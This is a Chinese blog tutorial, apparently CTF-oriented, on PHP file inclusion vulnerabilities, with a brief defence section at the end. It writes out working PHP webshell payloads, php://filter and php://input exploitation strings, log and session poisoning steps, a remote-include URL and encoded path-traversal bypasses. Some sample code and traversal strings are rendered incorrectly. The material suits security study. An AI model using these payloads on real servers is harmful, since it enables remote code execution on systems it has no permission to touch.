文件包含漏洞总结都在这里了

Posted sean7777777

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了文件包含漏洞总结都在这里了相关的知识,希望对你有一定的参考价值。

一、文件包含与伪协议

什么是文件包含

通过php函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。未经检验,文本当代码使用。

环境要求

  • allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据
  • allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件

造成原因

常见导致文件包含的函数

  • PHP: include(), include_once(), require(),require_once(),fopen(),readfile()等。
  • JSP Servlet:ava.io.File()java.io.FileReader()等函数
  • ASP:includefile,includevirtual
函数释义
include()找不到被包含的文件时只会产生一个(E_warinng)警告,脚本将继续执行;
include_once()引用一次,找不到path会发出警告
require()找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本
require_once()与 include 类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含;
fopen()打开一个文件
readfile(filename)读取文件并输出到缓冲区

require和include都支持相对或绝对路径。

利用前提条件

  1. 源代码中应用到了include等文件包含函数,并且需要包含的文件路径是通过用户传参的方式引入。
  2. 用户能够控制包含文件的参数,被包含的文件可被当前页面访问。
<?php
$file = $_GET['file'];
if (file_exists('/home/wwwrun/'.$file.'.php')) 
  include '/home/wwwrun/'.$file.'.php';

?>

如上代码,file变量为用户输入变量,如果满足第二条被包含的文件可被访问,则存在文件包含漏洞

特征

  1. 文件包含不仅可以包含脚本类型的文件,也可包含非脚本类型的文件
  2. 文件包含可以包含任意文件 ===》检测文件内容是否能被解析执行
  3. -----xx.com/xxxx/xxx.php?file=xx.txt,xx.txt 文件写入 <?php phpinfo(); ?> 文件内包含php代码,应该会被打印在屏幕上
  4. 变量的值为一个页面,?page=a.php

PHP声明语法

  • <?php phpinfo(); ?>
  • <? phpinfo(); ?>
  • <script language="php">phpinfo();</script>

利用思路

  1. 上传文件中包含一句话木马========》任意类型文件(可以上传的文件类型)

  2. 调用文件包含的参数用户可控

  3. 文件上传的功能+文件包含漏洞

    =======》文件包含功能去包含带有一句话木马的恶意文件

    =======》shell.jpg < <?php @eval($_POST['cmd']);?>

    =======》include(‘shell.jpg’)

二、本地文件包含

0x01、php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

1.利用条件:

  1. allow_url_include = On。
  2. 对allow_url_fopen不做要求。

示例代码

<?php

    $page = $_GET['file'];

    include($file);

?>

2.poc

?file=php://input

post:
<?php phpinfo()?>
命令执行
<?php system("ls"); ?>

poc如下图所示

利用php://input还可以写入php木马,在post中传入如下代码

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

3.例题

题目链接:https://ctf.show/challenges#web3-8
web3-8文件包含

0x02、php://filter

php://filter是一种元封装器,设计用于"数据流打开"时的"筛选过滤"应用。这对于一体式(all-in-one)的文件函数非常有用,类似readfile()、file()、file_get_contens(),在数据流内容读取之前没有机会应用其他过滤器,此类伪协议在文件包含漏洞的考察中很常见。

示例代码

<?php $page = $GET['file']; include($file.'php'); ?>

1.poc

php://filter/convert.base64-encode/resource=index

如果不用base64进行编码,包含的内容是index.php的源代码,会直接运行,不可直接查看内容,进行base64编码之后读取,然后再本地解码即可。此处需记得PD9开头的base64编码为<?php.

当然php://filter也可用来写

php://filter/write/convert.base64-decode/resource=shell.php,可以配合file_put_contents使用,

<?file_put_contents("php://filter/write/convert.base64-decode/resource=shell.php","PD9waHAgcGhwaW5mbygpPz4=");?>

2.example

 <?php
$c = "<?php exit;?>";
@$c.=$_GET['c'];
@$filename = $_GET['file'];
if(preg_match("/index/",$filename))
        die("U Think Toooo000000000000o MUCH!");
    
if(preg_match("/flag/",$filename))
        die("U Think Toooo000000000000o MUCH!");
    
@file_put_contents($filename, $c);
@highlight_file('index.php');
@highlight_file($filename);
?> 

poc

http://96.45.183.46:7002/lfi_bypass/?c=aPD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=&file=php://filter/write/convert.base64-decode/resource=234.php

3.tips

当源码为include($file.'php');时,poc最后只需要写index即可,当源码为include($file);时,poc需填写index.php

php://filter妙用

# index.php
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:"))
	exit('hacker!');

if($file)
	include($file);
else
	echo '<a href="?file=flag.php">tips</a>';

?>
#flag.php
    
<?php phpinfo();
# flagthis is flag
?> 

base64解码获取flag

0x03、zip://

zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。与phar://类似。区别为,压缩包中的子文件读取使用#而不是/

1.tips

  • zip://中只能传入绝对路径。
  • 要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)
  • 只需要是zip的压缩包即可,后缀名可以任意更改。
  • 相同的类型的还有zlib://和bzip2://

2.poc

zip://[压缩包绝对路径]#[压缩包内文件]
?file=zip://D:\\zip.jpg %23 phpinfo.php

3.测试注意事项

条件: PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才可以 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。

用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php

0x04、phar://

1.适用场景:

  1. 可以上传文件,但不能直接getshell。
  2. 存在文件包含漏洞

示例代码:

<?php
    $page = $_GET['page'];
    include($page);
?>

2.解决过程(poc)

首先创建压缩包。tar -cvf 111.phar shell.php,上传之后,文件包含。

payload:http://127.0.0.1:8800/admin.php?page=phar://111.phar/shell.php

0x05、data://

  • ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=

  • ?file=data://text/plain,

0x06、包含Apache日志文件

WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。

利用条件

  • 对日志可读
  • 知道日志文件的存储目录

tips

  • 一般情况下日志存储的目录会被修改,需要读取服务器配置文件(httpd.conf,nginx.conf…)或者根据phpinfo()中的信息来得知
  • 日志记录的信息都可以被调整,比如记录报错的等级或者内容格式

Apache运行后一般默认会生成两个日志文件

  • windows:access.log(访问日志) error.log(错误日志)
  • linux: access_log error_log

攻击流程(poc)

  1. 访问一个不存在的资源时,如http://www.xxxx.com/<?php phpinfo(); ?>,此时这段代码会被记录在日志中。代码中的敏感字符会被浏览器转码,我们可以通过burpsuit绕过编码,就可以把<?php phpinfo(); ?> 写入apache的日志文件
  2. 通过包含日志文件来执行此代码。需知道apache日志文件的存储路径

0x07、包含environ (user-agent)

/proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。

利用条件:

  1. php以cgi方式运行,这样environ才会保持UA头。
  2. environ文件存储位置已知,且environ文件可读。

查看php运行方式需查看此处,正常是这种情况

php以cgi方式运行如下

0x08、包含session文件

可以先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可。

利用条件

  • 找到Session内的可控变量

  • session文件路径已知,且其中内容部分可控。

php的session文件的保存路径可以在phpinfo的session.save_path看到。

常见的php-session存放位置:

  1. /var/lib/php/sess_PHPSESSID
  2. /var/lib/php/sess_PHPSESSID
  3. /tmp/sess_PHPSESSID
  4. /tmp/sessions/sess_PHPSESSID

tips

  • session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。

  • Php7.3之前的版本可以用session_id

  • 要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。

示例

<?php

session_start();

$ctfs=$_GET['ctfs'];

$_SESSION["username"]=$ctfs;

?>

session_start()解释:

  1. session的工作原理

    1. 首先使用session_start()函数进行初始换
    2. 当执行PHP脚本时,通过使用SESSION超全局变量注册session变量。
    3. 当PHP脚本执行结束时,未被销毁的session变量会被自动保存在本地一定路径下的session库中,这个路径可以通过php.ini文件中的session.savepath指定,下次浏览网页时可以加载使用。
  2. sessionstart()做了哪些初始化工作

    1. 读取名为PHPSESSID(如果没有改变默认值)的cookie值,假使为abc123

    2. 若读取到PHPSESSID这个COOKIE,创建SESSION变量,并从相应的目录中(可以再php.ini中设置)读取SESSabc123(默认是这种命名方式)文件,将字符装在入SESSION变量中;若没有读取到PHPSESSID这个COOKIE,也会创建_SESSION超全局变量注册session变量。同时创建一个sess_abc321(名称为随机值)的session文件,同时将abc321作为PHPSESSID的cookie值返回给浏览器端。

例题

“百度杯”CTF比赛 十二月场 notebook

0x09、LFI + session.upload_progress

  • 利用条件:

    1. session.upload_progress.enabled = on
    2. 存在文件包含的点(不需要上传点)
  • 漏洞原理:

    Session upload progress在打开的情况下,如果上传一个与session.upload_progress.name 同名的变量,会生成一个记录上传进度的文件,该文件存储在/var/lib/php/sessions/session_php session id

    session.upload_progress.cleanup
    这个变量是用来控制进度文件的清除的,如果设成on的话啊,需要进行条件竞争。

0x10、包含临时文件

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\\winsdows\\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。这个方法可以参考LFI With PHPInfo Assistance

类似利用临时文件的存在,竞争时间去包含的,可以看看这道CTF题:XMAN夏令营-2017-babyweb-writeup

0x11、包含上传文件

如果上传功能限制很死,可上传一个含小马的非脚本文件(或 通过FTP等手段),在通过包含漏洞执行该文件里的小马。

图片马的制作方式如下,在cmd控制台下输入:

进入1.jph和2.php的文件目录后,执行:

copy  1.jpg/b+2.php  3.jpg

将图片1.jpg和包含php代码的2.php文件合并生成图片马3.jpg

假设已经上传一句话图片木马到服务器,路径为/upload/201811.jpg
图片代码如下:

shell1

<?fputs(fopen("shell.php","w"),"<?php eval($_POST['pass']);?>")?>

shell2

file_put_contents(文件名,文件内容);

file_put_contents("shell.php","<?php phpinfo()?>");
# 将小马base64编码后运用php://filter写入shell.php

<?file_put_contents("php://filter/write/convert.base64-decode/resource=shell.php","PD9waHAgcGhwaW5mbygpPz4=");?>


然后访问URL:http://www.xxxx.com/index.php?page=./upload/201811.jpg,包含这张图片,将会在index.php所在的目录下生成shell.php

0x12、LFI + 文件上传 + 条件竞争

  • 利用条件:

    1. 文件包含点
    2. phpinfo页面
  • 漏洞原理:

    在php文件上传的时候,会针对上传的文件产生一个临时文件(一般在/tmp目录下),当用户确认了文件的上传后,会把该文件移动到指定的位置。而这个文件的文件名可以通过phpinfo页面看到,进一步地,可以使用文件包含包含他(需要条件竞争)。

    但是,我们不能等到phpinfo完全返回后再去文件包含,因为那个时候临时文件已经删除了,因此我们需要在socket底层对数据进行监听,一旦出现/tmp/xxxx,就立即发送文件包含的攻击payload。

0x13、LFI_self

  • 利用条件:

    1. 文件包含点
    2. 目录遍历tmp目录
  • 漏洞原理:

    比如该url存在文件包含漏洞:http://ip:port/file.php?file=1.txt,那么,直接包含自身会造成无限循环:http://ip:port/file.php?file=file.php。如果向该无限循环的地址put上传文件,则产生临时文件,该临时文件会在该php文件正常结束时被删除,但提交的请求造成了死循环,php会清空自己的内存堆栈,以便从错误中恢复过来,这时对临时文件的删除操作就无法完成,当跳出这个周期后,这个临时文件形式保存在/tmp目录下了。结合目录遍历+文件包含的漏洞组合即可利用。

三、远程文件包含

远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。
但RFI的利用条件较为苛刻,需要php.ini中进行配置

  1. allow_url_fopen = On
  2. allow_url_include = On

两个配置选项均需要为On,才能远程包含文件成功。

在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。

?file=[http|https|ftp]://example.com/shell.txt

一句话木马:

<?php print_r(scandir('.'));?>

四、文件包含漏洞的绕过方法

0x01、指定前缀绕过

一、目录遍历(常见)

使用 …/…/ 来返回上一目录,被称为目录遍历(Path Traversal)。例如 ?file=…/…/phpinfo/phpinfo.php
测试代码如下:

<?php
	error_reporting(0);
	$file = $_GET["file"];
	//前缀
	include "/var/www/html/".$file;

	highlight_file(__FILE__);
?>

现在在/var/log目录下有文件flag.txt,则利用…/可以进行目录遍历,比如我们尝试访问:

则服务器端实际拼接出来的路径为:/var/www/html/…/…/log/test.txt,即 /var/log/flag.txt,从而包含成功。

二、编码绕过

服务器端常常会对于…/等做一些过滤,可以用一些编码来进行绕过。

  1. 利用url编码
  • …/

    • %2e%2e%2f
    • …%2f
    • %2e%2e/
  • …\\

    • %2e%2e%5c
    • …%5c
    • %2e%2e\\
  1. 二次编码
  • …/
    • %252e%252e%252f
  • …\\
    • %252e%252e%255c
  1. 容器/服务器的编码方式
  • …/
    • …%c0%af
    • %c0%ae%c0%ae/
      • 注:java中会把”%c0%ae”解析为”\\uC0AE”,最后转义为ASCCII字符的”.”(点)
        Apache Tomcat Directory Traversal
  • …\\
    • …%c1%9c

0x02、指定后缀绕过

后缀绕过测试代码如下,下述各后缀绕过方法均使用此代码:

<?php
	error_reporting(0);
	$file = $_GET["file"];
	//后缀
	include $file.".txt";

	highlight_file(__FILE__);
?>

一、利用url

在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制。

完整url格式:

protocol :// hostname[:port] / path / [;parameters][?query]#fragment

query(?)

  • [访问参数] ?file=http://localhost:8081/phpinfo.php?
  • [拼接后]  ?file=http://localhost:8081/phpinfo.php?.txt

二、利用协议

利用zip://和phar://,由于整个压缩包都是我们的可控参数,那么只需要知道他们的后缀,便可以自己构建。

zip://

  • [访问参数] ?file=zip://D:\\zip.jpg%23phpinfo

  • [拼接后]  ?file=zip://D:\\zip.jpg#phpinfo.txt

phar://

  • [访问参数]?file=phar://zip.zip/phpinfo
  • [拼接后]  ?file=phar://zip.zip/phpinfo.txt

0x03、长度截断

利用条件:

php版本 < php 5.2.8

原理:

Windows下目录最大长度为256字节,超出的部分会被丢弃
Linux下目录最大长度为4096字节,超出的部分会被丢弃。
利用方法:

只需要不断的重复 ./(Windows系统下也可以直接用 . 截断)

  ?file=./././。。。省略。。。././shell.php

则指定的后缀.txt会在达到最大值后会被直接丢弃掉

0x04、%00截断

利用条件:

  • magic_quotes_gpc = Off
  • php版本 < php 5.3.4

利用方法:

  • 直接在文件名的最后加上%00来截断指定的后缀名

      ?file=shell.php%00
    

注:现在用到%00阶段的情况已经不多了

五、文件包含漏洞防御

  • allow_url_include和allow_url_fopen最小权限化
  • 设置open_basedir(open_basedir 将php所能打开的文件限制在指定的目录树中)
  • 白名单限制包含文件,或者严格过滤 . / *

以上是关于文件包含漏洞总结都在这里了的主要内容,如果未能解决你的问题,请参考以下文章

web安全原理-文件包含漏洞

百万人都在求的网络安全学习路线《渗透漏洞防御总结》

七伤拳:Web安全之文件包含漏洞专题—第六天

网络安全之文件包含漏洞总结

总结 | Web中间件常见安全漏洞

笔记网易微专业-Web安全工程师-04.WEB安全实战-5.文件包含